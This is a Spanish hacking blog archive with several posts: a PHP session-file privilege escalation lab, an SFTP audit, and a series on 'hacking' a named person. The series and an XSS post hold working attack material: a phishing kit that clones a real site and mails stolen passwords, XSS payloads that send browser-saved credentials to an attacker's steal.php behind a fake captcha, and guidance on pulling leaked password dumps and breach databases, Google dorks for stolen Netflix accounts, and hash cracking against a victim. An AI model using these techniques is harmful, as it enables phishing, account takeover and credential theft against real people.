martes, 18 de diciembre de 2018

¿LFI en sesiones? Vamos a elevar privilegios

El otro día en el trabajo me pidieron que comprobara si era seguro añadir el directorio /var/lib/php5/sessions a la directiva open_basedir y como me pareció algo interesante pensé en escribir un poquito sobre esto.

Para saber si esto es seguro o no primero tenemos que tener claro que son estas dos cosas.

- El directorio /var/lib/php5/sessions es el directorio donde se guardan las sesiones de PHP.

- La directiva open_basedir indica en que directorios se podrán abrir ficheros con las funciones fopen(), include(), etc...

Normalmente esta directiva se usa para evitar ataques de tipo LFI, por lo que vamos a empezar a mirar por ahí a ver como podemos hackear.

Preparación del entorno

Vamos a empezar a preparar nuestro entorno, para ver que se podría hacer. Lo primero que vamos a necesitar es un panel de login sencillito 'login.php' (que nos permita crear sesiones).

  1. <?php
  2.         $user = $_POST['user'];
  3.         $password= $_POST['password'];
  4.         if($user == "usuario" && $password == "usuario"){
  5.                 session_start();
  6.                 $_SESSION["usuario"]=$user;
  7.                 $_SESSION["password"]=$password;
  8.                 $_SESSION["admin"]=0;
  9.                 header('Location: index.php');
  10.         }
  11. ?>
  12. <html>
  13. <head>
  14. <title>Login</title>
  15. </head>
  16. <body>
  17. <form action="login.php" method="POST">
  18. <p>Usuario:</p><input name="user">
  19. <p>Password:</p><input name="password">
  20. <button type="submit">Submit</button>
  21. </form>
  22. </body>
  23. </html>

Por otra parte tendremos la página vulnerable 'index.php', la cual tendrá dos vulnerabilidades diferentes, la primera nos permitirá leer ficheros y la segunda nos permitirá escribir en ficheros, además de esto tiene una parte de código que nos ayudará a identificar si somos administradores o no.

  1. <html>
  2. <head>
  3. <title>Inicio</title>
  4. </head>
  5. <body>
  6. <form action="index.php" method="GET">
  7. <p>URL: </p><input name="url">
  8. <p>Escribir[w]  leer[r]</p><input name="accion"></br>
  9. <textarea name="content" rows="4" cols="50">Introducir texto</textarea>
  10. <button type="submit">SUBMIT</button>
  11. </form>
  12. <?php
  13.         session_start();
  14.         if($_SESSION["admin"] == 1){
  15.                 echo '<h1>ADMINISTRADOR</h1>';
  16.         }
  17.         $accion = $_GET["accion"];
  18.         $pagina = $_GET["url"];
  19.         $content = $_GET["content"];
  20.         if ($accion == "r"){
  21.                 $file = fopen($pagina, "r");
  22.                 $content = fread($file, filesize($pagina));
  23.                 echo $content;
  24.                 fclose($file);
  25.         }else if($accion == "w"){
  26.                 $blacklist = array(".php", ".phtml", ".php3", ".php4" , ".html", "htaccess", "js");
  27.                 foreach ($blacklist as $item) {
  28.                         if(preg_match("/$item\$/i", $pagina)) {
  29.                                 echo '</h1>Extension de fichero no permitida</h1>';
  30.                                 exit;
  31.                         }
  32.                 }
  33.                 $file = fopen($pagina, "w");
  34.                 fwrite($file, $content);
  35.                 fclose($file);
  36.         }
  37. ?>
  38. </body>
  39. </html>

Ya que tenemos nuestro entorno preparado podemos empezar a hackear, así que lo primero que vamos a hacer es dirigirnos a 'login.php' y ahí vamos a introducir usuario y contraseña para que se nos genere un usuario  "usuario - usuario" en este caso.


Una vez que tenemos la sesión creada podemos acceder al sitio vulnerable 'index.php', aquí tenemos dos acciones disponibles, la primera es la de leer ficheros y la segunda es la de escribir ficheros, veamos que se podría hacer en cada uno de los casos.

Lectura de ficheros

En este caso, al contener el servidor de Apache la directiva open_basedir en un principio la explotación de esta vulnerabilidad, aunque sea posible, no es tan peligrosa como en otros casos, vemos que en caso de intentar leer ficheros que no esten dentro de la directiva como '/etc/passwd' no será posible y la página no nos mostrará nada.


Ahora intentemos leer el fichero de alguna sesión, un buen ejemplo sería la nuestra, las sesiones son ficheros con el formato sess_cookie, y están dentro del directorio que habíamos comentado /var/lib/php5/sessions, así que vamos a hacer la prueba con esto.


Aquí podríamos ver toda la información que tiene almacenada el servidor sobre nuestra sesión, en este caso como PoC hemos guardado usuario y contraseña, por lo que podríamos ver esta información sobre cualquier usuario que hubiera iniciado una sesión, si se guardara otra información sobre la sesión también podríamos verla sobre cualquier usuario.

Escritura de ficheros

Por otra parte también podemos escribir ficheros, sin embargo podemos ver que en el código hay una blacklist de extensiones, por lo que no podremos subir una shell (la blacklist de extensiones es muy vaga, seguramente falten extensiones, ya que esto es solo una prueba de concepto).

Además de esto, en la anterior imagen vemos que, en las sesiones guardaba un parámetro llamado "admin", lo que vamos a hacer ahora es modificar este valor de 0 a 1 escribiendo el fichero de nuestra sesión para que el servidor nos reconozca como un administrador y así elevar privilegios, además como las sesiones no tienen extensión esto no será detectado por la blacklist.


Como podemos ver con esto nos habríamos saltado la blacklist elevando privilegios y pudiendo acceder como administradores de la plataforma.

Yo he acabado por hoy, espero que os haya gustado la entrada.

Saluti.

cuidao con el deo poderoso 

sábado, 15 de diciembre de 2018

Hackeando a Manolo el Barbas [Parte 3] - Engañando a nuestra víctima




Comenzamos la tercera parte de la serie de Posts "Hackeando a Manolo el Barbas", si no habéis leído los otros anteriores aconsejo hacerlo antes de seguir con este.

  1. Obtención de información pública de la persona o Doxing.
  2. Buscando y adivinando la contraseña.
  3. Obtención de contraseña con engaños y saltando el 2FA.
  4. Robo de datos a través de Malware.  
El último día intentamos buscar la contraseña por Google y adivinarla, pero esto es posible que no salga como queremos y no demos con ella, así que tenemos que ir al siguiente paso, vamos a engañar a nuestra víctima para que introduzca sus datos y ahí poder quedarnos con ellos. Vamos a usar alguna página que sepamos que usa, como en este caso mushofutbol.com.




Lo primero que haremos es irnos a la contraseña y darle a inspeccionar elemento, ya que hay una cosita que hay que modificar antes de copiarla entera.



Buscamos el formulario y le añadimos un action="scam.php", ya que ese scam.php es un fichero que crearemos un poco más tarde, encargado de guardar usuario y contraseña de nuestra victima.



Una vez hecho esto haremos click derecho y le daremos a guardar como, y esto se encargará de copiar la página con todos sus estilos e imágenes en una carpeta.

En la misma carpeta donde tenemos el archivo html creamos un php con el siguiente codigo:

Código: PHP
  1. <?php
  2. $user = trim($_POST['el name del input del user']);
  3. $password = trim($_POST['el name del input de pass']);
  4. $correoreceptor = "aquí cámbialo y pon tu correo";
  5. $asunto = "Ha caido una nueva víctima";
  6. $mensaje = "Usuario: ".$user."  -  Contraseña: ".$password;
  7. mail($correoreceptor, $asunto, $mensaje);
  8. header('Location: Pagina real');
  9. ?>

Una vez hecho esto habría que buscar un servidor donde hostear todo esto para poder enviarle el link a nuestra víctima, vamos a hacer nosotros nuestra prueba con Manolo. Para que no sospeche por la URL que le enviemos podemos comprar un dominio parecido al de mushofutbol.com, en mi caso voy a usar un acortador de URLs, así será más facil que se lo crea.









Cuando Manolo pulse el Link que verá algo de está forma.



Ahora solo tocaría esperar a que Manolo se conectase y desear que introdujese sus datos, yo tuve un poco de suerte y recibi un correo como este.



Cabe destacar que la probabilidad de que una víctima caiga en un engaño de este tipo depende mucho de como sea la mentira que hemos creado, en este caso sería más dificil que la víctima introdujera sus datos, en un futuro Post haremos algo más complejo y más interesante.

Saluti

Ci, es una copia de algo que ise tiempo, pero lo tenia que postear pa ceguir con cosa interesante

martes, 2 de octubre de 2018

Auditando un SFTP en 3 horas

Hace unos días en el trabajo me pidieron que auditase un servidor SFTP, y al igual que cuando escribí el post "Auditando una librería en 16 horas" es algo que no suelo hacer, por lo que me he decidido a escribir este post explicando lo poco que conseguí por si alguien está en la misma situación y le pudiera dar mejores resultados. (Aunque sea una pena de este tipo de cosas hay poco que rascar)
Antes de empezar tenemos que tener claro que es un servidor SFTP. Así que vamos a acudir a WikiPedia que lo explica muy bien, pero básicamente funciona igual que un servidor FTP, pero en este caso el contenido de las peticiones y las respuestas del servidor va cifrado. https://es.wikipedia.org/wiki/SSH_File_Transfer_Protocol

Una vez sabido esto, y como no tenemos mucha experiencia en hacer esto, vamos a crearnos una Checklist de posibles vectores de ataque para mirar y saber que podemos reportar.

  • Lo primero que pensé era mirar si es posible obtener la versión del servicio, servidor y posteriormente buscar vulnerabilidades CVE para estos.
  • En segundo lugar sería interesante comprobar si es vulnerable a fuerza bruta y en caso de que lo sea armarnos un diccionario y probar suerte.
  • Otra cosa interesante sería mirar las suites de cifrado que soporta el servidor y comprobar si soporta alguna suite que no sea segura.
  • En último lugar, como me dieron acceso con varios usuarios de pruebas, sería buena opción comprobar que se puede hacer con ellos y probar si me dejara acceder a directorios en los que en un principio no se podría.
Una vez terminada nuestra Checklist podemos ponernos manos a la obra.


Fingerprinting y búsqueda de vulnerabilidades

Lo primero que vamos a hacer tirarle nmap a ver que nos devuelve y después podremos con esta información ver si podemos entrar a algún lado. Yo lo tiré de la siguiente forma.

 nmap -sV -O -Pn sftp.dominio.com

sV: Nos listará los servicios disponibles con sus versiones.
O: Nos indicará si es posible indentificarlo el sistema operativo.
Pn: Toma el host como si estuviera Online. En muchos casos el servidor bloquea las peticiones de Ping y cuando escaneamos con nmap este piensa que no está activo, que es lo que pasaba en esta ocasión, así que con este parámetro intenta hacer el análisis independientemente.




Vemos que la versión del servidor SFTP es "Serv-U SSH Server 15.1.6.25", así que lo que vamos a hacer es buscar esta versión en CVE details, a ver si hay alguna vulnerabilidad conocida aquí (además sabemos que el sistema operativo del servidor es Windows server 2008).


Desafortunadamente todas las vulnerabilidades conocidas habían sido ya parcheadas, esto es debido a que la versión del SFTP es la última según lo que pude encontrar en el "changelog". https://support.solarwinds.com/Success_Center/Serv-U_Managed_File_Transfer_Serv-U_FTP_Server/Serv-U_Documentation/release_notes

Igualmente por seguridad el servidor no nos debería de responder la versión del servicio en el banner, ya que si en el futuro sale alguna vulnerabilidad para dicha versión y no se actualiza entonces será vulnerable y será facil detectarlo.

Fuerza Bruta

Para probar si el servicio era vulnerable a fuerza bruta, lo primero que hice fue sacar un listado de los correos electrónicos existentes para ese dominio y de esta forma poder elegir un posible usuario al que realizar este ataque, para ello use la herramienta TheHarvester, que a partir de búsquedas por internet recopila posibles correos electrónicos con el dominio. Lo hice con los siguientes parámetros:

 python theHarvester.py -d dominio -l 500 -b google

-d: El dominio del cual se quieren buscar correos electrónicos y usuarios.
-l: Número de resultados en los que se quieren buscar usuarios.
-b: Lugar donde se quieren buscar estos usuarios.




De entre todos los resultados que obtuve (que eran bastantes) deicidí centrarme en los usuarios que se llamaban "quality", porque fue el que más me llamó la atención ya que supuse que todos los servicios tendrían  que pasar unos requisitos que comprobarían en el departamento de calidad (puede que fuera una suposición poco acertada, pero los demás usuarios dudaba más que tuvieran usuario en el SFTP).

Para crearme el diccionario de contraseñas descargué de internet un diccionario con las 1000 contraseñas más usadas. https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/best1050.txt

A esto le añadí un listado de contraseñas que cree con la herramienta DxD y alguna información que sabía sobre la víctima.

Una vez hecho esto usé Hydra para que probase todas las combinaciones a ver si había suerte. Para esto usé los siguientes parámetros:

 hydra -l "usuario" -P "listaPasswords.txt" ssh://sftp.dominio.com

-l: El usuario que se quiere bruteforcear.
-P: El fichero con la lista de contraseñas a probar.


Lamentablemente esto no dió resultado, aunque a pesar de no obtener la contraseña el servicio si es vulnerable a fuerza bruta, tan solo habría que generar el diccionario correcto.

Suites de cifrado soportada

Lo próximo que quise observar eran las suites de cifrado soportadas por el servidor, para ver si soporta alguna que esté obsoleta. Esta información es fácil de obtener con nmap, para ello hay que usar los siguiente parámetros.

 nmap -Pn --script ssh2-enum-algos -p 22 sftp.dominio.co.uk

-p: El puerto en concreto que se quiere analizar.
--script: Sirve para usar scripts en nmap, en este caso he usado "ssh2-enum-algos" que sirve para enumerar las suites de cifrado soportados por el servicio ssh.


Vemos que soporta una cantidad bastante grande de cifrados, buscando por ahí encontré que los que debería soportar son los siguientes (lo encontré aquí https://www.linuxjournal.com/content/cipher-security-how-harden-tls-and-ssh):

Ciphers aes256-ctr,aes192-ctr,aes128-ctr
MACs hmac-ripemd160

Algunos cifrados soportados en este caso como 3DES son vulnerables, en ese caso al ataque SWEET32, aquí podemos ver algo más de información al respecto. https://threatpost.com/new-collision-attacks-against-3des-blowfish-allow-for-cookie-decryption/120087/

En este caso no podemos realizar ningún tipo de ataque porque no tenemos una víctima, pero de igual forma es reportable.

Errores con los permisos 

En este caso hice varias pruebas pero ninguna de ellas dió resultado, por lo que no tengo ninguna evidencia, de todas formas voy a decir lo que hice por si a alguien le da resultado.

En primer lugar probar a leer o a escribir ficheros fuera de nuestro directorio, intentándolo con ficheros como ../../../../../etc/passwd. Pero en ambos casos me daba error.

En segundo lugar, en mi caso tenía dos usuarios de SFTP, pero ambos se corrían con el usuario: "user", por lo que intenté escribir y leer en carpetas de otros usuarios con algo como ../nombreUsuario2/fichero.txt para ver si se podía acceder o escribir en estos ficheros, pero tampoco dió resultado.

Mas allá de eso se me ocurrió poco que probar así que lo dejé por aquí, igual que este post, que ya lo voy a dar por acabado. Hay veces que las cosas se quedan en poquito.

Saluti.

Espero que a alguien le sea útil aunque yo no haya llegado muy lejos.

jueves, 6 de septiembre de 2018

No guardes las contraseñas en el navegador

Hace unos días en el trabajo, revisando una checklist de posibles vulnerabilidades webs y algunas cositas que había que revisar, encontré algo que me llamó la atención y me propuse echarle un ojito rápido al tema.

Es algo que el propio BurpSuite te reporta cuando navegas con él como proxy, y que nunca le había dado mucha importancia.


En pocas palabras nos dice que dentro del código HTML que nos devuelve una página, el tag "<input>" donde se introduce la contraseña tiene que tener el siguiente atributo: "autocomplete="off"".

¿Qué hace esto y por qué tenemos que tenerlo activado? Este atributo lo que hace es decirle al navegador que no autocomplete el usuario y la contraseña directamente y se supone que tenemos que tenerlo activado, porque en el caso de que se autocompletase y encontrar una XSS podríamos robar las credenciales almacenadas.

Para comprobar esto me creé un pequeño panel de login con un formulario que enviaba los datos a un PHP, que solo decía si los datos de inicio de sesión son correctos o no.

login.html

<html>
<head>
<title>FORMULARIO LOGIN</title>
</head>
<body>
<div align="center">
<h1>FORMULARIO LOGIN</h1>
<form method="POST" action="login.php">
<p>USUARIO: </p><input type="text" name="usuario" autocomplete="off">
<p>PASSWORD: </p><input type="password" name="password" autocomplete="off"></br>
<button type="submit">login</button>
</form>
<div>
</body>
</html>

 login.php

 <?php
    if($_POST['usuario']=="admin" && $_POST['password']=="admin"){
        echo "Contraseña correcta";
    }else{
        echo "Contraseña incorrecta";
    }
?>


 Podemos acceder y ver un login común y bastante simple. con un formulario para introducir el usuario y la contraseña, y ambos tags con el atributo
"autocomplete="off"".


Una vez entrado en el panel de login introducimos los datos en el formulario y veremos que como de costumbre el navegador nos pregunta si queremos almacenar las credenciales, vamos a decirle que sí.




Ahora accederemos de nuevo al panel de login a ver que ocurre.


¿Por qué se nos autocompleta si le dijismos que no se autocompletase? Basicamente porque ese atributo está desfaso, los navegadores actuales lo ignoran. el motivo es tan simple como que no sirve absolutamente para nada, en caso de tener una XSS podríamos nosotros mismos crear el formulario para que se autorrellenase y por otra parte si alguien tiene acceso a nuestro navegador podrá ver la contraseña en la propia configuración del navegador, en mi caso, al usar firefox podríamos verlas en "Preferencias >> Privacidad y seguridad >> Cuentas guardadas".



Bueno, después de esto vamos a ir a la parte interesante, vamos a robar esta contraseña a través de una XSS (para quien no sepa lo que es que le eche un ojo a estohttps://blog.underc0de.org/xss-cross-site-scripting/).

Lo primero que hay que tener en cuenta es que el navegador no guarda el path donde tú introdujiste tus datos, por lo que en cualquier lugar donde encuentre un formulario donde se pueda introducir una contraseña dentro de ese dominio lo va a completar automáticamente, por lo que da igual el lugar donde encontremos la XSS, yo he creado un pequeño panel vulnerable a XSS que simula el típico formulario de búsqueda.

search.php

<html>
<head>
<title>SEARCH PAGE</title>
</head>
<body>
<div align="right">
<p>Realice su búsqueda</p>
<form action="search.php" method="GET">
<input type="text" name="q">
<button type="submit">BUSCAR</button>
</form>
<?php echo "Búsqueda realizada: "; echo $_GET['q'];?>
<div>
</body>
</html>








Teniendo una XSS, lo que podemos hacer es crear un formulario, al cargar este formulario se autocompleterá, y lo que haremos será con algún evento, en mi caso usé "<img src=x onerror="enviarDatos()">" enviar los datos a nuestro propio servidor. Hay que tener en cuenta que si el formulario dirige a un dominio diferente no se autocompleterá, asi que tenemos que hacer que vaya al la página vulnerable y después modificarlo con el propio JavaScript. A mí me quedo de la siguiente forma.


XSS

<form action="login.php" method="POST" name="formulario">
<input type="text" name="usuario">
<input type="password" name="password">
</form>
<img src=x onerror="enviarDatos()">
<script>
        function enviarDatos(){
                document.formulario.action="http://url/testAC/steal.php";
                document.formulario.submit();
        }
</script>


El lugar donde se envían los datos es un php simple que los recoge y los escribe en un documento de texto, quedando de la siguiente forma.

steal.php

 <?php
        $fichero = fopen("datos.txt", "a");

        fwrite($fichero, "USUARIO: ".$_POST['usuario']." - PASSWORD:".$_POST['password']."\n");

        fclose($fichero);

        echo "TE MIRO Y TE HACKEO";
?>


La víctima, al ejecutarse la XSS vería lo siguiente (se podría redirigir a otro sitio para que esta no sospechase).




Una vez accedido la víctima podríamos ver como sus credenciales almacenadas han sido robadas, gracias a la función de autocompletar de los navegadores hemos dado un pequeño paso más en las XSS's.



Además de esto, esta "funcionalidad" también nos permite añadirle un punto de peligro a las HTML injection, nos permite pasar de poder crear un phishing, en el que la víctima tiene que caer, a robar las credenciales almacenadas haciendo que tan solo tenga que hacer un click (yo lo he camuflado como si fuera una verificación de ser un humano y no un robot).

Para esto solo he escondido las partes del formulario donde se autocompletan las credenciales almacenadas con "style="display:none"" y he añadido añadido el atributo "formaction="url/steal.php"" al botón para que envíe los datos a ese formulario (ya que si se pone directamente en el formulario no se autocompleterá). Me ha quedado de la siguiente forma.

<form action="login.php" method="POST">
<input type="text" name="usuario" style="display:none">
<input type="password" name="password" style="display:none">
<p>Demuestre que no es un Robot pulsando el botón</p>
<input type="checkbox">
<button type="submit" formaction="http://url/testAC/steal.php">Confirmación</button>
</form>

Al explotar el HTML injection con el anterior código la víctima vería lo siguiente.

De esta forma al pulsar el botón las credenciales almacenadas serían enviadas a nuestro servidor.


¿Cómo hacemos por parte del servidor para evitar que se almacenen estas credenciales? Pues es bastante sencillo, yo lo que hice fue añadir dos "<input>" escondidos que enviasen información irrelevante para sustituir a los que usará el usuario para iniciar sesión, me quedó de la siguiente forma.

<html>
<head>
<title>FORMULARIO LOGIN</title>
</head>
<body>
<div align="center">
<h1>FORMULARIO LOGIN</h1>
<form method="POST" action="login.php">
<p>USUARIO: </p><input type="text" name="usuario" autocomplete="off">
<input type="text" style="display:none">
<p>PASSWORD: </p><input type="password" name="password" autocomplete="off"></br>
<input type="password" style="display:none" name="none" value="1">
<button type="submit">login</button>
</form>
<div>
</body>
</html>

En este caso al iniciar sesión veríamos como no se almacenan las cotraseñas. Y en su lugar se almacena el valor de "<input>" que está oculto.


Yo he acabado por hoy espero que haya sido fácil de entender y/o algo útil, por poco que sea.

Saluti.

Te miro y te jaqueo

    domingo, 26 de agosto de 2018

    Hackeando a Manolo el Barbas [Parte 2] - En busca de la contraseña

    Comenzamos la segunda parte de la serie de Posts "Hackeando a Manolo el Barbas", si no habéis leído los otros anteriores aconsejo hacerlo antes de seguir con este.

    1. Obtención de información pública de la persona o Doxing.
    2. Buscando y adivinando la contraseña.
    3. Obtención de contraseña con engaños y saltando el 2FA.
    4. Robo de datos a través de Malware.
    El otro día obtuvimos toda la información que podíamos sobre nuestro amigo Manolo, hoy lo que vamos a hacer es intentar obtener su contraseña intentando no interactuar con el usuario.

    La gente que me conoce sabe que tengo mis diferencias con Chema Alonso, pero esta vez tengo que parafrasearlo (por mucho que odie hacer esto). En muchas ocasiones cuando nos preguntan si podemos hackear la contraseña de la pareja de alguien lo primero que nos viene a la cabeza es: ¿Pero has buscado en Google?

    Aunque parezca irreal hay una cantidad de contraseñas de gente filtrada por Google impresionante, y como anteriormente conseguimos el correo de la persona que queríamos hackear esto nos resultará una tarea trivial.


    Para quien no lo conozca les quiero hablar de mi amigo "Pastebin". Pastebin es una página Web que sirve exclusivamente para almacenar texto y es usado por la gente para almacenar información, por lo que podemos encontrar de todo, ya que esta información es indexada por Google.

    Los Hackeritos (es gracioso porque son hackers pequeños) usan pastebin para compartir contraseñas que han hackeado o en otro caso para buscar cuentas sobre una aplicación o si ha sido filtrada la cuenta de una contraseña.

    Para que se entienda mejor voy a poner un ejemplo muy sencillito de una búsqueda en Google;

    - inurl:pastebin.com netflix ||  Esto nos devolvería una gran cantidad de pastes con cuentas de Netflix (Si lo vais a usar con las herramientas de Google buscad indexadas de la última semana que no esten quemadas).

    De esta misma forma podríamos buscar la cuenta de una persona, y lo haríamos de la siguiente manera:

    - inurl:pastebin.com "manoloelbarbas127@gmail.com" || Y aquí veríamos todos los pastes donde se ha indexado el correo de la persona que queríamos hackear.



    Y así de simple tendríamos la contraseña, ya hemos acabado por hoy, hasta otro día...

    Na, na, na, es de coña aún podemos encontrar contraseñas filtradas por internet de otras formas, así que vamos a seguir buscando.

    Hace un tiempo hicieron una recopilación de contraseñas filtradas en texto plano, también podemos mirar aquí, la recopilación pesa unos 40GB por lo que es probable que encontremos la contraseña de nuestra víctima.

    También hay algunas falsos positivos, por lo que si alguna de las contraseñas no funciona no perdáis mucho tiempo con ella.

    La recopilación la podemos encontrar aquí: https://mega.nz/#!QYsSlArZ!rRVlWbnc_9trPfX8Zq7yOFocLCsMDHKIlReJIYw428I

    Además de esto, esta recopilación viene con un script que nos ayudará a buscar las contraseñas, así que vamos a buscar la de nuestro amigo Manolo (si no supiéramos alguna de las letras del correo podemos sustituirla por un punto para que nos muestre todas las opciones posibles).



    Hasta ahora vamos bien, pero puede ser que nunca nadie nos haya hecho el trabajo antes, así que tenemos que buscar otras formas de encontrar nuestras tan preciadas contraseñas.

    En muchas ocasiones se filtran Bases de Datos con usuarios, correos electrónicos y contraseñas, el problema aquí radica en que, excepto que la aplicación la haya programado un simio, la contraseña no estará en texto plano (tal cual es).

    Las contraseñas nos las vamos a encontrar Hasheadas, para quien no sepa lo que significa puede ver como funciona esto aquí. https://www.hackingdesdecero.org/2016/04/clase-06-hashes-y-encriptacion-hibrida.html

    Bueno lo que vamos a hacer ahora es entrar en "Have I been pwned" e introducir el correo.


    Este sitio lo que hace es decirnos si el correo introducido se encuentra en alguna Base de Datos filtrada, he puesto otro correo en lugar de el de Manolo debido a que al ser un correo creado explicitamente para esta serie de posts y la charla no se encuentra en ninguna Base de Datos.

    Igualmente veamos en que Bases de Datos está el correo introducido.


    La lista de Bases de Datos donde donde se encuentra este correo es la siguiente:

    1. 000webhost
    2. Adobe
    3. Separate Data Breaches
    4. Army Force Online
    5. Bitly
    6. CashCrate
    7. DailyMotion
    8. Disqus
    9. Dropbox
    10. Edmodo
    11. Evony
    12. Exploit.ln
    13. imesh
    14. last.fm
    15. lifeboat
    16. Linkedin
    Ya que sabemos en que Bases de Datos está este usuario deberemos buscarlas (en muchas ocasiones son bastantes dificiles de encontrar o hay hasta que pagar), yo como ayuda voy a dejar esta recopilación de Bases de Datos en RaidForums, donde podemos ver que hay algunas de las enumeradas.



    Una vez descargada la Base de Datos nos encontraremos la contraseña Hasheada, que será algo como esto:

    a0e800bd5155387ba40c162948cab8cf

    Como sabemos los Hashes son irreversibles, por lo tanto desde el hash no podemos obtener la contraseña en texto plano, de igual forma, existen Bases de Datos con un gran número de hashes, por lo que podemos ver si nuestro hash está en una de estas Bases de Datos. Yo aconsejo https://crackstation.net/, ya que de las que he visto es la más completa.


    Por desgracia en esta ocasión no la hemos obtenido, por lo que vamos a intentar Crackearla a través de fuerza bruta.

    Para hacer eso aconsejo leer estos dos posts, donde explica como hacerlo:

    Como vemos en los posts anteriores, además de fuerza bruta, existen los ataques de diccionario, donde se prueban en lugar de todas las combinaciones, una lista de posibles contraseñas. Hace un tiempo creé una aplicación con Java, en la que introduciendo una serie de datos sobre una persona te crea un diccionario personalizado. La herramienta es la siguiente: DxD

    Una vez tengamos la herramienta vamos a introducir los datos que tenemos sobre Manolo y vamos a generar nuestro diccionario: 


    Ahora que tenemos nuestro diccionario generado vamos a probar a crackear la contraseña con John the ripper y con nuestro diccionario.


    ¡Uy, uy, uy! Ahí la tenemos y estamos casi acabando por hoy, lo último que vamos a hacer es otra forma de fuerza bruta.

    Como recordamos de la primera parte, nuestro amigo Manolo estaba registrado en una página web, en las webs también se pueden hacer ataques de fuerza bruta, aunque estos son más lentos, podemos probar a introducir usuarios y contraseñas de forma automatizada para ver cuando coincide.

    Yo en este caso voy a usar BurpSuite, pero hay muchas herramientas que nos permiten hacer esto. Os dejo por aquí una serie de tutoriales sobre BurpSuite para quien no sepa usarlo: https://www.sniferl4bs.com/p/guia-de-uso-de-burpsuite.html

    Vamos a capturar la petición que envía el formulario de login y lo mandamos al intruder, donde configuraremos para que haga fuerza bruta junto a nuestro diccionario ya creado anteriormente.


    En este caso vemos que el tamaño de la respuesta es diferente en el caso de la contraseña correcta, así que ahí la tendríamos.

    Ahora si que por fin hemos acabado, y como podemos ver por el momento hackear a una persona depende totalmente de esta, si su contraseña ha sido filtrada, si la ha cambiado, si es robusta, etc...

    Nos vemos en el siguiente episodio de "Hackeando a Manolo El Barbas".

    Saluti

    Semos buenos que sus conosco